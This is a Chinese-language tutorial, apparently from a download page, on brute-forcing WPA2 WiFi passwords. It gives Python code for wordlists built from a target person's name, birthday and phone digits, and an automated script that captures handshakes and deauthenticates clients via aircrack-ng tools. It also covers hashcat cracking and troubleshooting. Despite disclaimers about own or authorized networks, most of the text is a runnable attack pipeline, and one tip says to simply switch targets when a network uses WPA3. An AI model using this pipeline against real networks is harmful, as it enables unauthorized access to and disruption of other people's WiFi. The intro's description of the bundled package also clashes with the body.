简介:面向Python初学者与网络安全入门爱好者,这是一份演示WiFi密码暴力破解原理的迷你项目资源。其核心思路极为通俗:将一个包含八位数常用密码的字典文件逐条读取,配合无线网卡搜索到的局域网目标,按顺序尝试连接,从而实现约1秒1次的快速探测,特别适合理解穷举攻击在真实环境中的简易落地。包体非常轻量,共3个文件,包含两个Python脚本与一个txt字典文件,分别承担核心连接逻辑、辅助调用与待测密码字典,整体压缩后大小仅3KB,解压即可阅读学习。目前该资源已有16474人学习浏览,热度较高。通过这份代码,读者能快速理解Python网络接口调用、文本文件读写以及简单循环与子进程操作等基础知识点,也能掌握针对弱口令WiFi的测试思路;但请务必在自有网络或授权环境下练习,切勿用于非法用途。
1. 先把话说清:Python暴力破解WiFi密码,到底在破什么
在动手之前有一个误区必须先摆正:平时搜到的“python暴力破解wifi密码”,真正要破的不是路由器管理后台的登录密码,而是WPA2-PSK这种无线加密方式里的握手包。攻击者把目标AP和客户端之间的一次合法连接过程抓下来,再用大量候选密码逐个去试,看哪一个能通过校验。Python在这条链路里不是负责算力的角色,用Python直接去做PBKDF2密钥校验比C语言慢几个数量级,真正干活的是aircrack-ng这类专用工具,Python负责生成字典、调度命令、解析结果。
所以你在网上看到的“Python破解WiFi密码”,基本都是一套组合拳:Python写字典生成器,按目标路由器的命名习惯、主人信息、常见弱口令批量生成候选词;再用subprocess把这些词喂给aircrack-ng或hashcat做离线校验。把预期摆正之后,后面每一步才不会白做。下面按一次可复现的流程给你讲透,适合会基本Python语法、想搞懂这条链路的人,也适合想给自己家路由器做弱口令排查的开发者。先把这里说清楚:整篇文章讨论的是自己的设备或已获授权的测试环境,直接拿这套东西去碰别人的路由器,既越界也没有必要。
2. 握手包、字典攻击与Python的责任边界:新手最容易搞错的三件事
2.1 四次握手与PBKDF2:暴力破解真正在算的东西
WPA2-PSK的工作过程可以简化成一句话:密码从来不会在网络里明文传输,它只是用来生成密钥的原材料。客户端连接路由器时,双方会执行四次握手,交换随机数Nonce、MAC地址等信息,最后算出一个用于加密通信的PTK,PTK的一部分会作为MIC校验消息完整性。
攻击者真正想拿到的是这个握手过程,因为在握手包里包含了两个Nonce、AP的MAC、客户端的MAC、以及最后那个MIC值。离线破解做的事并不复杂:对每一个候选密码,重复一次与握手时相同的计算链路,也就是用候选密码加SSID做4096次HMAC-SHA1迭代,得到PMK,再结合包里的Nonce和MAC算PTK,最后比一比算出来的MIC和握手包里带的MIC是否一致。一致就说明这个候选密码就是原密码。
正是“4096次HMAC-SHA1迭代”这个设计,让WPA2密码变成了一块嚼不烂的硬骨头。每一次候选尝试都要做几万次哈希运算,Python跑这个循环会慢到你怀疑机器死机。所以行业里没人会写Python做这句话里的“暴力计算”,而是把它交给在底层用C和汇编优化过的工具。Python真正适合做的,是生成候选集和调度外部进程。
这里顺手列一下握手包里会被用到的关键信息,理解它们有助于你后面调试脚本:
| 握手包字段 | 在破解中的作用 |
|---|---|
| ANONCE / SNONCE | AP和客户端各自生成的随机数,参与PTK计算 |
| AP MAC / Client MAC | 参与PTK计算,也是锁定目标的标识 |
| MIC | 最终比对用的消息校验码 |
| EAPOL帧 | 四次握手的载体,airodump-ng靠它识别握手包 |
别被这些名词吓住。实际做破解时,你不需要自己去解析这些字段,aircrack-ng会在后台处理,但了解“密码是怎么被验证的”这一点,决定了你怎么排查失败原因。
2.2 Python在暴力破解里的真实位置:管字典、管调度,不直接算密钥
我见过不少新手拿到Python环境就开始写循环,对每个密码调用wifi库去尝试连接,这种“在线暴力破解”在真实环境里几乎走不通。在线尝试每试一个密码,客户端都要执行一次完整的扫描、认证、关联过程,一次少说几百毫秒,快一点的AP还会在连续失败十几次之后直接把你拉进黑名单,几分钟内拒绝任何连接。加之路由器通常会加上重试延迟,在线破解的速度优势完全不存在。
离线破解的优势在于一次握手包可以无限次本地尝试。抓包可能只需要几十秒,但之后你坐在电脑前跑一个晚上都没问题,速率只取决于你的CPU或GPU。所以你在标题里看到的“Python暴力破解wifi密码”,它的正确打开方式是:Python生成候选字典,Python调用aircrack-ng,Python解析aircrack-ng的输出判断有没有命中。
Python在整条链路里的价值,是把那些需要反复手敲的命令封装成一段可复用脚本。比如抓包完成之后,你可能需要先跑一遍小字典快速验证握手包是否有效,再跑大字典过夜;又比如你需要循环尝试多个信道,检测目标AP到底在哪个频段。这些重复判断逻辑,用Python写比人守在终端前盯着效率高得多。
有人还会用Scapy库直接解析EAPOL帧,自己实现握手包检测,这样做能避开某些工具的坑,但维护成本偏高。对于绝大多数需求,我建议把Python放在“调度器”的位置,没必要自己重新实现校验算法。
2.3 环境准备:网卡、Linux工具链与Python依赖的最小清单
先泼一盆冷水:你用来上网的笔记本内置无线网卡,八成无法开启监听模式。暴力破解WPA2需要网卡进入monitor模式,去捕获空中每一个无线数据帧,而多数笔记本内置网卡在驱动层面屏蔽了这个能力。最靠谱的方案是外接一个基于常见无线网卡芯片的USB网卡,这类网卡在Linux下驱动兼容性好,能稳定开启监听,价格也不高。买之前先做一次检查。
# 查看无线网卡支持哪些工作模式 iw list | grep -A 10 "Supported interface modes" # 如果输出里有 monitor 字样,说明这张卡可以做监听 # 否则建议换一张芯片方案成熟的USB网卡在基于Debian的发行版上,工具链用一行命令就能准备好:
sudo apt update sudo apt install aircrack-ng hcxtools hashcat python3 --versionaircrack-ng套件里的airmon-ng用来开启监听模式,airodump-ng用来扫描AP和抓包,aireplay-ng用来向客户端发送解除认证的帧以触发重连,aircrack-ng本身负责跑字典校验。hcxtools和hashcat是后手,用于把抓到的包转成hashcat能直接处理的格式,然后用GPU加速跑,这一套我放到后面详细说。
Python这边不需要额外安装第三方库,只用标准库里的subprocess、argparse、itertools、re就够。别急着装那些看起来很酷的连接库,先把最简链路跑通。
3. 用Python生成一套“会思考”的密码字典:组合规则与代码实现
3.1 基于社工信息的字典生成脚本:变量拼装、符号替换、规范化去重
暴力破解WiFi密码这件事,决定成败的往往不是算力,而是字典质量。一亿个随机字符串和一千个按规律生成的候选词,在真实目标面前,后者的命中率常常更高。因为多数家用WiFi密码不是纯随机串,而是姓名拼音、生日、电话号码、门牌号、英文单词的组合,再加上一点符号替换。
我写字典生成器时习惯把信息拆成几个维度:姓名拼音、常用昵称、生日数字、手机尾号、家庭门牌、宠物名字、路由器默认密码,然后在这些词根上做有限变换。变换规则包括首字母大写、全大写、把字母替换成相似符号、词根加数字后缀、数字前缀、把词根从中间插入数字。用Python的set做去重,避免同一个候选词生成多次浪费运行时间。
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import argparse from itertools import product def variate_word(word: str) -> set: """对单个词根做常见变换,返回一个变体集合""" chars = {'a': '@', 'o': '0', 'i': '1', 'e': '3', 's': '$'} variants = {word, word.lower(), word.upper(), word.capitalize()} for ch, rep in chars.items(): if ch in word: variants.add(word.replace(ch, rep)) variants.add(word.upper().replace(ch.upper(), rep)) return variants def build_dict(name: str, digits: list, roots: list) -> list: """把词根和数字做拼接,生成最终候选集""" candidates = set() for root in roots + [name]: candidates |= variate_word(root) base = list(candidates) for w in base: for d in digits: candidates.add(w + d) candidates.add(d + w) mid = len(w) // 2 candidates.add(w[:mid] + d + w[mid:]) candidates.add(w + '!' + d) return sorted(candidates) if __name__ == '__main__': parser = argparse.ArgumentParser(description='WiFi字典生成器') parser.add_argument('--name', default='zhangsan', help='姓名拼音词根') parser.add_argument('--digits', nargs='+', default=['0520', '8888', '2024'], help='高频数字串,如生日、门牌、手机尾号') parser.add_argument('--roots', nargs='+', default=['wifi', 'home', 'admin'], help='弱口令常见词根') parser.add_argument('--out', default='dict.txt', help='输出字典文件名') args = parser.parse_args() result = build_dict(args.name, args.digits, args.roots) with open(args.out, 'w', encoding='utf-8', newline='\n') as f: f.write('\n'.join(result) + '\n') print(f'生成 {len(result)} 条候选,写入 {args.out}')这段代码的逻辑并不复杂,但有几个细节值得展开说。variate_word函数先对词根做大小写和符号替换,替换规则直接写在字典里,你可以按目标用户习惯调整。build_dict函数负责组合,数字后缀、前缀、中间插入三种模式基本覆盖了人类起密码的常见习惯。最后用encoding='utf-8'和newline='\n'写文件,这两项在后面排错时特别关键,Windows默认的GBK编码和CRLF行尾会让aircrack-ng读到的每一行都带上多余字符,直接导致匹配失败。
运行这个脚本只要一行命令。比如目标用户的姓名拼音是wangfang,生日是1990,手机尾号是6688,再加几个常见弱口令词根:
python3 gen_dict.py --name wangfang --digits 1990 6688 0520 --roots wifi home admin --out wangfang.txt输出的wangfang.txt里会包含像Wifi1990、home6688、wangfang!1990这样的候选词。生成后先看一眼文件大小和行数,如果结果里混着明显不该出现的组合,说明替换规则写得太宽,需要收紧。
3.2 itertools纯暴力序列:产量估算与一个现实的收敛策略
如果完全不知道目标的任何信息,就只能退到纯暴力序列。Python标准库里的itertools.product是生成这类序列最常用的工具,但必须提前知道产量有多大,否则生成的字典文件能把磁盘填满。
import itertools import argparse def gen_numeric(length: int, out_path: str): """生成指定长度的纯数字序列,逐行写文件,避免内存爆炸""" with open(out_path, 'w', encoding='ascii', newline='\n') as f: for seq in itertools.product('0123456789', repeat=length): f.write(''.join(seq) + '\n') if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--length', type=int, default=8) parser.add_argument('--out', default='nums.txt') args = parser.parse_args() gen_numeric(args.length, args.out)这段代码用生成器逐条写入文件,而不是把所有序列撑到内存里,否则8位纯数字的一亿条候选会直接吃掉几个GB内存。运行方式是这样:
python3 gen_numeric.py --length 8 --out nums_8.txt先看一下产量表,纯暴力到底有多不现实:
| 候选集 | 长度 | 数量级 | 意义 |
|---|---|---|---|
| 纯数字 | 8位 | 1亿条 | CPU还能勉强跑完 |
| 纯小写字母 | 8位 | 约2080亿条 | 单机CPU基本不可能跑完 |
| 小写+数字 | 8位 | 约2.8万亿条 | 需要GPU集群级别 |
| 大小写+数字+符号 | 8位 | 超过6万亿条 | 现实中没人会这么硬跑 |
所以纯暴力在WPA2面前通常只用作兜底:目标是一个8位纯数字密码时,生成1亿条候选,在主流CPU上跑几十分钟到一个小时,这是现实生活中唯一有意义的暴力场景。一旦超过这个规模,投入产出比急剧下降。更合理的策略是先用3.1那种社工字典把最容易中的密码试一遍,再补一个6位纯数字的小暴力字典,最后才考虑上8位纯数字。
还有个容易被忽略的点:商用路由器默认密码、弱口令Top100这类公开列表要放在字典的第一优先位置。用Python把这些列表读进来,和你的定制词根做一次合并,确保弱口令在最前面,会显著缩短命中时间。aircrack-ng按字典顺序逐条试,如果你把几万条定制词放前面,跑完再轮到弱口令列表,命中速度就被拖慢了几倍。
4. 用Python调度完整破解流程:从抓握手包到跑字典
4.1 抓包、触发重连、跑字典的一体化脚本
字典准备好了,接下来要解决的是“抓到一个合法握手包”。这一步是整条链路里最容易卡住的环节。airodump-ng会持续监听选定信道上的无线流量,当有客户端连接目标AP时,它会把四次握手的EAPOL帧记录到cap文件里。如果目标AP旁边当前没有设备在连接,你就需要主动触发一次重连。
把这个流程封装进Python脚本,好处是无需要求人在终端前一帧一帧盯,脚本自己判断有没有抓到握手包,没抓到就发deauth包再等一轮。下面是一个可用的骨架脚本,你需要在运行前填好目标AP的信息。
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import subprocess import time import re import os IFACE = 'wlan0' MON_IFACE = 'wlan0mon' BSSID = 'aa:bb:cc:dd:ee:ff' # 目标AP的MAC地址,先用airodump扫描确认 CHANNEL = '6' # 目标AP工作的信道 CLIENT = None # 留空则自动从csv里找 DICT = 'wangfang.txt' # 上一步生成的字典 PREFIX = '/tmp/capture' def run_cmd(cmd, timeout=30): """执行shell命令并捕获输出,超时防止挂死""" result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout) return result.stdout, result.stderr # 1. 开启监听模式 run_cmd(f'sudo airmon-ng start {IFACE}') # 2. 抓包60秒,同时输出csv格式便于解析 run_cmd( f'sudo airodump-ng --bssid {BSSID} -c {CHANNEL} ' f'-w {PREFIX} --output-format csv,cap {MON_IFACE}', timeout=60 ) # 3. 检查cap文件里有没有握手包 cap_file = PREFIX + '-01.cap' out, _ = run_cmd(f'sudo aircrack-ng {cap_file} | grep "handshake"') if '1 handshake' not in out: print('未检测到握手包,尝试触发客户端重连') csv_file = PREFIX + '-01.csv' if os.path.exists(csv_file): # 从csv里解析客户端MAC with open(csv_file, encoding='utf-8') as f: for line in f: if BSSID in line and len(line.split(',')[0]) == 17: CLIENT = line.split(',')[0].strip() break if CLIENT: run_cmd(f'sudo aireplay-ng -0 2 -a {BSSID} -c {CLIENT} {MON_IFACE}') else: run_cmd(f'sudo aireplay-ng -0 2 -a {BSSID} {MON_IFACE}') # 再等30秒抓包 run_cmd( f'sudo airodump-ng --bssid {BSSID} -c {CHANNEL} ' f'-w {PREFIX} --output-format cap {MON_IFACE}', timeout=30 ) # 4. 跑字典 out, _ = run_cmd(f'sudo aircrack-ng -w {DICT} -b {BSSID} {cap_file}') match = re.search(r'KEY FOUND!\s*\[\s*(.+?)\s*\]', out) if match: print('找到密码:', match.group(1)) else: print('字典未命中,换字典或增大暴力范围')脚本里每个阶段都对应一个真实的子命令。airmon-ng start把物理网卡切换成监听模式,接口名通常会变成wlan0mon;airodump-ng用--bssid锁定目标AP,用-c锁定信道,避免它在多个信道之间跳来跳去漏掉握手包;aircrack-ng -w指定字典文件去离线校验。
aireplay-ng -0 2向客户端发送2个解除认证的帧,客户端收到后会主动重新连接AP,重连过程就是抓握手包的黄金时机。这里有几个参数要留意:deauth包数量不要发太多,2到3个就够,发多了反而可能把客户端彻底踢下线,让它在原地干等你更久。-c CLIENT是指定某个客户端触发,如果不指定,就是对整个BSSID广播解除认证,效率低一些但更省事。
4.2 参数调优:锁定信道、超时、循环次数与退出条件
脚本跑通之后,你很快会遇到需要手动调参的场景。WiFi环境是动态的,客户端可能在抓包时离开,AP可能在切换信道,目标设备的无线网卡可能刚好休眠。这些情况都要求脚本具备一定的重试逻辑。
抓包时长是最先要调的参数。airodump-ng跑30秒内抓不到握手包是常态,我的习惯是先跑90秒,没抓到再触发deauth重连。抓包时长与成功率正相关,但也不能无限拉长,否则后续字典跑完可能还没等到握手包。用timeout=90作为默认值,比60秒稳妥。
信道锁定属于那种“不踩坑不知道”的细节。airodump-ng默认会在所有信道上轮巡,每个信道停留约100毫秒,这样虽然能看到周围所有AP,但抓到握手包的概率很低。必须用-c锁定目标AP的工作信道,把全部接收时间用在一个信道上。判断信道的方法是先用airodump-ng不带任何过滤条件扫描几十秒,从列表里找到目标AP对应的CH列数值,再填进脚本。
循环次数也值得设计。脚本里deauth触发一次就够了,如果两三轮之后依然抓不到握手包,问题往往不在运气,而在客户端根本不在线,或者目标AP使用5GHz频段而你只监听了2.4GHz。这种情况下盲等脚本内循环没有意义,应该停下来检查客户端列表。一个稳妥的做法是让脚本最多重试3轮,每轮之间sleep 10秒给客户端恢复时间。
# 单独查看当前是否有客户端在线,建议在发deauth前手动跑一次 sudo airodump-ng --bssid aa:bb:cc:dd:ee:ff -c 6 wlan0mon看输出列表的STATION部分,如果客户端MAC一直不出现,说明周围没有设备关联到这个AP。直接关掉脚本换个时间段再测,或者找一个离AP更近的位置增强信噪比。很多跑了一宿没出结果的情况,根因就是抓包阶段压根没抓到握手包,而不是字典不够好。
5. Python暴力破解WiFi密码的踩坑记录:现象、原因与解决
5.1 网卡不支持监听:买错设备的经典翻车
现象:airmon-ng start命令执行成功,但iw dev里看不到wlan0mon接口;或者airodump-ng启动后一直在报错,说接口不支持monitor模式。
原因:这是硬件层面的限制,很多笔记本内置无线网卡的驱动程序根本没有实现monitor模式的功能,不管怎么操作都无法监听空中的数据帧。USB外接网卡同样存在芯片差异,不同芯片方案在Linux下的兼容表现天差地别。
解决:换硬件是最直接的出路。选购前先查芯片型号,优先选那些在Linux社区里被验证过能稳定开启monitor模式的老款芯片方案,而不是只看价格和天线数量。拿到手后在目标机器上执行iw list确认输出里有monitor字样,再做下一步。如果是虚拟机里跑这套流程,还要确认USB设备已经直通到虚拟机里,宿主机的无线网卡默认只对宿主机可见。
5.2 抓不到握手包:deauth触发失败与信道跳变
现象:airodump-ng界面的右上角一直不出现“WPA handshake”字样,即便发了deauth包也毫无动静。有时明明看到客户端列表里有设备在通信,但就是抓不到握手。
原因:最常见的是airodump-ng没有锁定信道,网卡在多个信道间来回跳跃,恰好在deauth之后客户端重连的那几秒钟,网卡正在别的信道上监听,错过了整个握手过程。第二种情况是deauth包被AP的防护机制过滤,某些AP会在短时间内收到大量deauth帧后启动反制,直接把客户端踢到更远的地方。
解决:先把信道锁死,-c参数必须和AP实际工作信道一致。deauth包数量控制在1到3帧,发完立刻盯住抓包界面。如果目标AP开启5GHz频段,确保网卡支持5GHz监听并且把信道号填成对应的5GHz信道。还有一条血泪经验:有些路由器是双频合一,2.4GHz和5GHz用同一个SSID,你抓的可能是2.4GHz的AP,客户端却连在5GHz上。这种时候要分别监听两个频段,或者从路由器后台关掉双频合一再测。
5.3 字典跑完一个不中:编码和换行符的黑匣子
现象:字典文件看起来完全正常,里面明明确确有目标密码,而且aircrack-ng跑完整个字典也没有报错,结果就是一行“NOT FOUND”。这种问题最让人抓狂,因为排查方向很难找。
原因:多数情况出在文件编码和行尾上。在Windows上用记事本编辑过的字典文件,默认可能是GBK编码,每行以CRLF结尾。aircrack-ng按字节读取字典,每一行末尾都会带上一个\r字符,导致哪怕文件内容里写了正确密码,实际被校验的却是“密码+\r”,自然永远匹配不上。UTF-8的BOM头也是类似问题,会附加在第一个词的前面。
解决:统一用Python生成字典,写文件时显式指定encoding='utf-8'和newline='\n'。如果你手头有一个现成的字典文件,不确定格式,先用file命令看一眼:
file dict.txt # 期望输出:ASCII text # 如果出现 "with CRLF line terminators" 就要做转换 sed -i 's/\r$//' dict.txt建议在跑大字典之前,先做一个包含正确密码的3行小字典,确认整条链路能命中,再放开跑,这样可以避免等了一晚上回头发现编码错了。
5.4 在线破解被锁:Python直连WiFi试密码的低效路径
现象:有人用Python里的无线接口库直接扫描目标WiFi,逐个密码尝试连接,试到十几次之后API开始报超时,再往后连接请求直接被拒绝。
原因:在线模式每一次尝试都要重新关联,一次尝试的耗时比离线校验高几个数量级。而且AP普遍有防暴力破解机制,连续认证失败会导致客户端MAC被临时拉黑,即使你后面拿到了正确密码也要等解禁才能连上。
解决:放弃在线尝试的念头,把全部精力放在抓握手包上。离线破解不受AP防爆破策略限制,一次握手包拿到手后想跑多久跑多久。如果目标AP一直抓不到握手包,比如周围确实没有客户端在线,更合理的做法是用PMKID攻击方式,这在下一章会展开。在线破解只适合探测自己家AP是否存在弱口令,而且要在控制节奏的前提下进行。
5.5 抓到握手包但跑不出来:WPA3混合模式下的无效劳动
现象:airodump-ng已经显示“WPA handshake”,但aircrack-ng跑完整个字典都没有命中。检查cap文件发现握手包是抓到了,目标AP广播的加密方式却是WPA2/WPA3混合模式。
原因:WPA3使用SAE握手,与WPA2的四次握手完全不兼容。如果客户端连接时使用的是WPA3协议,airodump-ng虽然能抓到一些EAPOL帧,但那些帧里的信息不足以让aircrack-ng做离线校验。拿到一个看起来像握手包的文件,实际上用的是WPA3素材,这种包跑再多字典都是白费。
解决:先确认目标是否支持WPA2协议。用airodump-ng扫描时,加密列会显示类似“WPA2”或“WPA2/WPA3”的信息。只有在纯WPA2模式下抓到的握手包才有破解价值。混合模式下可以尝试强制某个支持WPA2的旧设备连接,蹭到一次WPA2握手,但这已经进入更复杂的场景。在多数情况下,遇到WPA3直接换个目标才是性价比最高的决定。
6. 把暴力破解真正跑起来:hashcat接力与PMKID验证法
6.1 为什么hashcat比aircrack-ng快:把校验交给显卡
aircrack-ng的CPU校验速度已经能满足中小字典的使用,但如果你要跑8位纯数字甚至更大的候选集,CPU就撑不住了。hashcat的优势在于它能把PBKDF2运算搬到GPU上,跑WPA2的速度比CPU快一个数量级以上。先把抓到的cap文件转成hashcat能直接读取的格式:
# 用hcxtools转换,输出的是hashcat 22000模式文件 hcxpcapngtool capture-01.cap -o handshake.hc22000 # 再用hashcat跑字典,-m 22000对应WPA2握手包 hashcat -m 22000 handshake.hc22000 wangfang.txt -O -w 3参数说明:-m 22000是当前hashcat统一的WPA2握手包模式,老版本里还能见到2500等模式号,现在基本都归一到22000。-O开启优化内核,-w 3设置工作负载为高性能档位,这个参数决定GPU占用率和功耗,跑长任务时按显卡散热情况调整。hashcat跑出来的结果会存在potfile里,下次再跑同样目标直接秒出,不需要重复计算。
6.2 一个稳妥的自测方法:在自己家搭一个测试AP验证全链路
在开始任何正式测试之前,我强烈建议你花半小时做一次全链路自测。找一台旧路由器,把SSID设置成test-home,密码设置成字典里肯定会出现的弱口令,比如Test2024。然后用手头的网卡完成一次完整的抓包、转格式、跑字典流程。
验证标准很简单:airodump-ng能抓到握手包,hashcat能在一分钟内跑出密码。如果这两步都通过,说明你的网卡、驱动、工具链、字典脚本全线是通的,之后无论遇到什么问题,至少可以排除环境因素。很多买到网卡后第一次尝试就跑不出结果的人,其实不是方法错,而是链路里某个环节没有被单独验证过。先在小范围闭环里确认,再谈效率优化。
我自己的习惯是永远在测试AP上先跑一把,通过之后再切到目标环境。这套东西做久了你会发现,WiFi破解真正的技术密度不在“跑”这个动作上,而在于你对无线协议、目标习惯和工具链细节的理解。手里有一张能用的网卡,一套能生成高质量字典的Python脚本,一条能自动调度抓包和解密的流程,就已经超过大多数只会复制命令的人。把测试边界守住,先把自家环境吃透,比什么都重要。希望帮到你。
本文还有配套的精品资源,点击获取